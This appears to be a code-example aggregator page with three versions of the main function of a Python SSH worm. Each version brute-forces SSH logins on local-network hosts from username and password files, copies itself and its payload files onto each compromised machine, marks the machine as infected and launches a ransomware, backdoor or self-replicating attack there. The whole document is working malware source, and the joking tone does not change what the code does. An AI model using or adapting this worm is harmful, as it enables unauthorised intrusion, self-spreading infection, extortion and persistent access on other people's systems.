Ejemplo n.º 1
0
def main():
    """ Main function that does all the heavy lifting. Very similar to replicator """
    malicious_file = "local_attack.py"
    marker_file = "ransom_marker.txt"
    # Grab files with usernames and passwords
    parser = argparse.ArgumentParser()
    parser.add_argument("usernames", nargs=1, help="File of usernames to try", type=str)
    parser.add_argument("passwords", nargs=1, help="File of passwords to try", type=str)
    args = parser.parse_args()

    worm = SSHConnection()
    # Consider changing this to allow files in other directories to be used ?
    username_file = os.path.basename(args.usernames[0])
    password_file = os.path.basename(args.passwords[0])
    worm.set_files([malicious_file, username_file, password_file])

    # Create worm instance and search first 10 ips on the network
    worm.retrieve_vulnerable_hosts("192.168.1.", 10)

    # Set the file the worm will look for on the target system
    worm.set_worm_file(marker_file)
    if worm.find_target_host():
        # ound an unmarked host, copy the iles over to it.
        worm.set_target_dir("/home/" + worm.username + "/")
        transfer_file(worm, malicious_file)
        transfer_file(worm, __file__)
        transfer_file(worm, "SSHConnection.py")
        transfer_file(worm, username_file)
        transfer_file(worm, password_file)
        print ("[+] Completed! Launching local attack now...")
        worm.ssh_connection.exec_command("echo " + get_local_ip() + " >> " + marker_file)
        launch_attack(worm, malicious_file)
    else:
        print (" :( No target found, better get a job! ")
Ejemplo n.º 2
0
def main():
    """ User must specify the username and password file when they run the worm.
    These files will travel with the worm in its adventure across the network.
    Additionlly, the SSHConnection file will also travel with the worm, joining
    the fellowship of the worms. """
    parser = argparse.ArgumentParser()
    parser.add_argument("usernames",
                        nargs=1,
                        help="File of usernames to try",
                        type=str)
    parser.add_argument("passwords",
                        nargs=1,
                        help="File of passwords to try",
                        type=str)
    args = parser.parse_args()
    username_file = os.path.basename(args.usernames[0])
    password_file = os.path.basename(args.passwords[0])

    #  Create Instance of the SSH class
    worm = SSHConnection()

    # Set locations  to place on victim system
    worm_file = os.path.basename(__file__)
    host_dir = os.path.dirname("")  #__file__)
    if len(host_dir) > 0:
        host_dir = host_dir + "/"
    worm.set_host_dir(host_dir)
    # Sets target directory to be same as one as where it was launched
    worm.set_files([worm_file, username_file, password_file])
    worm.retrieve_vulnerable_hosts("192.168.1.", 10)
    # Find a target to infect, checks to make sure target hasn't previously been infected
    if worm.find_target_host():
        worm.set_target_dir("/home/" + worm.username + "/")
        # Mark target system
        worm.place_worm()
        # Start attack from new system
        worm.start_attack()
    else:
        with open("/tmp/no_found_hosts.txt", "w") as no_hosts:
            no_hosts.write("no hosts found")
    return
Ejemplo n.º 3
0
def main():
    """ Main function that does all the heavy lifting. See usage details above """
    worm = SSHConnection()

    # # # Arguments Reference # # # # # # # # # # # # # # # # # # # # #
    # current_script = sys.argv[0]
    # local_attacker = sys.argv[1] or empty for standard replication
    # marker_file = sys.argv[2]
    # username_file = sys.argv[3]
    # password_file = sys.argv[4]
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

    files = []
    for filename in sys.argv:
        files.append(filename)
    files.append("SSHConnection.py")
    # Runnning ansomware worm
    if files[1] == "local_ransom.py":
        worm.marker_file = "ransom_marker.txt"
        worm.set_username_file(files[2])
        worm.set_password_file(files[3])
        worm.set_worm_file("local_ransom.py")
        malicious_file = files[1]
        message = "Help plz I need money to feed my cats :( \n"
    # Running backdoo worm
    elif files[1] == "local_backdoor.py":
        worm.marker_file = "backdoor_marker.txt"
        worm.set_username_file(files[2])
        worm.set_password_file(files[3])
        worm.set_worm_file("local_backdoor.py")
        malicious_file = files[1]
        message = "This is a super imporant file that under no circumstances should you delete\n"
    # Running standad replicator worm
    elif files[1] == "usernames.txt":
        worm.marker_file = "replicator_marker.txt"
        worm.set_username_file(files[1])
        worm.set_password_file(files[2])
        #worm.worm_file = "replicator.py"
        worm.set_worm_file("replicator.py")
        malicious_file = "replicator.py " + worm.username_file + " " + worm.password_file
        message = "Your security is bad and you should feel bad\n"
    else:
        print "Bad input file"
        return

    #files.append(worm.marker_file)

    # Create worm instance and search first 10 ips on the network
    worm.retrieve_vulnerable_hosts("192.168.1.", 10)
    # Set the file the worm will look for on the target system
    if worm.find_target_host():
        # Found an unmarked host, copy the files over to it.
        worm.set_target_dir("/home/" + worm.username + "/")
        #with open(worm.marker_file, "w") as marker:
        #    marker.write(message)
        for filename in files:
            transfer_file(worm, filename)
        print "[+] Completed! Launching local attack now..."
        # Optinal command to add infector's ip to the marker file
        #worm.ssh_connection.exec_command("echo " + get_local_ip() + " >> " + worm.marker_file)
        worm.ssh_connection.exec_command("touch " + worm.marker_file)
        worm.ssh_connection.exec_command("echo \"" + message + "\" >> " + worm.marker_file)
        launch_attack(worm, malicious_file)
    else:
        # Either no hosts found, or they all had the marker file on their system
        print " :( No target found, better get a job!"